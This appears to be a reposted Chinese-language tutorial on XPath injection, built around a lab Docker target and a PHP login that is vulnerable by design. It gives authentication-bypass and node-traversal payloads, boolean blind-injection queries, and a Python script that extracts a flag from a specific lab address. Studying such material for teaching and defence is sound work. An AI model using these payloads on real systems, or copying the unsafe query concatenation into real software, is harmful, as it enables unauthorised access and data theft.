XML的Xpath注入攻击技术研究一

admin 2025年3月2日21:47:14评论9 views字数 3749阅读12分29秒阅读模式
Docker靶机:docker pull gqleung/xpath

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。简单的说就是把xml当做数据库,xpath类似于sql语句来查询xml,有查询就有注入。

基本语法
https://www.w3school.com.cn/xpath/xpath_syntax.asp
常规注入
实例:users.xml
<?xmlversion="1.0" encoding="UTF-8"?><root><users><user><id>1</id><username>admin</username><passwordtype="md5">0192023a7bbd73250516f069df18b500</password></user><user><id>2</id><username>jack</username><passwordtype="md5">1d6c1e168e362bc0092f247399003a88</password></user><user><id>3</id><username>tony</username><passwordtype="md5">cc20f43c8c24dbc0b2539489b113277a</password></user></users><secret><flag>flag{My_f1rst_xp4th_iNjecti0n}</flag></secret></root>

index.php
<?ph$xml=simplexml_load_file('users.xml');$name=$_GET['u']$pwd=md5($_GET['p']);$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";echo$query;$result=$xml->xpath($query);if($result) {    echo'<h2>Welcome</h2>';    foreach ($resultas$key=>$value) {        echo'<br />ID:'.$value->id;        echo'<br />Username:'.$value->username;    }}
万能密码登陆

已知用户名情况

从代码看我们知道name是我们可控的点,因为pwd已经被md5加密无法控制。xpath和sql一样也能构造逻辑为1导致登陆。但是在xpath中是没有所谓的注释,必须巧妙地构造闭合。
从代码可以得知我们要构造的xpath为:
/root/users/user[username/text()='' and password/text()='']

而php代码中,我们只需执行返回结果为ture即可
.....$result=$xml->xpath($query);if($result) {....

假设我们知道其中用户名为admin即可构造如下语句导致查询成功。
/root/users/user[username/text()='admin' or '1' and password/text()='']

简化为基本模型,很容易看出为何能够构造为Ture导致查询成功:
/root/users/user[username/text()='admin' or '0' ]

payload
index.php?u=admin'or'1

XML的Xpath注入攻击技术研究一

未知用户名情况

上面情况适用于已知用户的情况,但是如果并不知道用户名的情况呢?其实我们可以构造三个异或的情况导致登陆逻辑为True.
/root/users/user[username/text()='' or '1' or '1' and password/text()='']

将payload简化就如,这样就可以知道,三个之中只需一个为TURE即可。
0 or 1 or 0

payload
index.php?u=' or 1 or '1

XML的Xpath注入攻击技术研究一

遍历子节点

首先需要了解几个基本语法。
选取未知节点
通配符
描述

*

匹配任何元素节点。
@*
匹配任何属性节点。
node()
匹配任何类型的节点。
路径表达式
结果
//*
选取文档中的所有元素。
//title[@*]
选取所有带有属性的 title 元素。
选取若干路径
路径表达式
结果
//book/title | //book/price
选取 book 元素的所有 title 和 price 元素。
//title | //price
选取文档中的所有 title 和 price 元素。
/bookstore/book/title | //price
选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。
了解几个基本语法再来看我们payload。
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

其实这里真正起到遍历结点作用的只有//*因为user[username/text()='']可以知道没有用户名为空的。而后面的使用and连接password/text()='d41d8cd98f00b204e9800998ecf8427e'只会返回false,故只有中间的//*会选取文档中所有元素。导致结点遍历。
我们构造payload如下:
index.php?u='] | //* | //*['
XML的Xpath注入攻击技术研究一
布尔盲注
XML的Xpath注入攻击技术研究一
学习盲注之前学习几个基本语法。
表达式
描述
nodename
选取此节点的所有子节点。
/
从根节点选取。
//
从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
.
选取当前节点。
..
选取当前节点的父节点。
@
选取属性。
选取结点
常用函数(更多函数查询:
https://www.w3school.com.cn/xpath/xpath_functions.asp)
函数
描述
count(item[, item1, …])
返回节点的数量。
last()
返回在被处理的节点列表中的项目数目。
position()
返回当前正在被处理的节点的 index 位置
name([nodeset])
返回当前节点的名称或指定节点集中的第一个节点。
codepoints-to-string(a, b, c, …)
将数字 a、b、c 转为对应的字符,Python 的chr函数类似。
string-to-codepoints(string)
与上面的相反
substring(string, start [,len])
返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
string-length([string])
返回指定字符串的长度。如果没有string 参数,则返回当前节点的字符串值的长度。
name
返回当前节点的名称或指定节点集中的第一个节点。

判断根节点数量

payload
' or count(/)=1 or '1

从基本语法可以知道count()是返回结点数量,而/是选取根节点
这里payload同样和万能密码一样才有三个or,只需我们猜对根节点数量即可返回正确页面。例如下面我们猜测根节点数为1返回正确页面,当然等于号可以使用大于小于来代替。
XML的Xpath注入攻击技术研究一
当count(/)=2时没有返回内容说明这里根节点就是1
XML的Xpath注入攻击技术研究一

猜测根节点名

猜测根节点名长度
' or string-length(name(/*[1]))>1 or '1

简单猜测出来根节点的长度为4
XML的Xpath注入攻击技术研究一
猜测根节点名字
' or substring(name(/*[1]), 1, 1)='r' or '1

这一点和sql注入别无二致。不细说。猜测成功即返回正确页面。否则为空
XML的Xpath注入攻击技术研究一
XML的Xpath注入攻击技术研究一
猜测子节点个数
' or count(/root/*)=2 or '1

XML的Xpath注入攻击技术研究一
猜测子节点名
猜测第一个子节点名
' or substring(name(/root/*[1]), 1, 1)='u' or '1

XML的Xpath注入攻击技术研究一
最后猜测出两个子节点:userssecret
猜测子节点值
同样的方法猜测子节点的子节点的值
' or substring((/root/secret/*[1]), 1, 1)='f' or '1

编写脚本盲注flag
importrequeststables = r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}-'url='http://39.107.126.173:28835/index.php'flag = ''foriinrange(1,50):  forjintables:    payload = "?u=' or substring((/root/secret/*[1]), %s, 1)='%s' or '1"%(i,j)    r = requests.get(url+payload)    if'Welcome'inr.text:      flag = flag+jprint(flag)      break

原文始发于微信公众号(SAINTSEC):XML的Xpath注入攻击技术研究一

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月2日21:47:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XML的Xpath注入攻击技术研究一https://cn-sec.com/archives/3785145.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息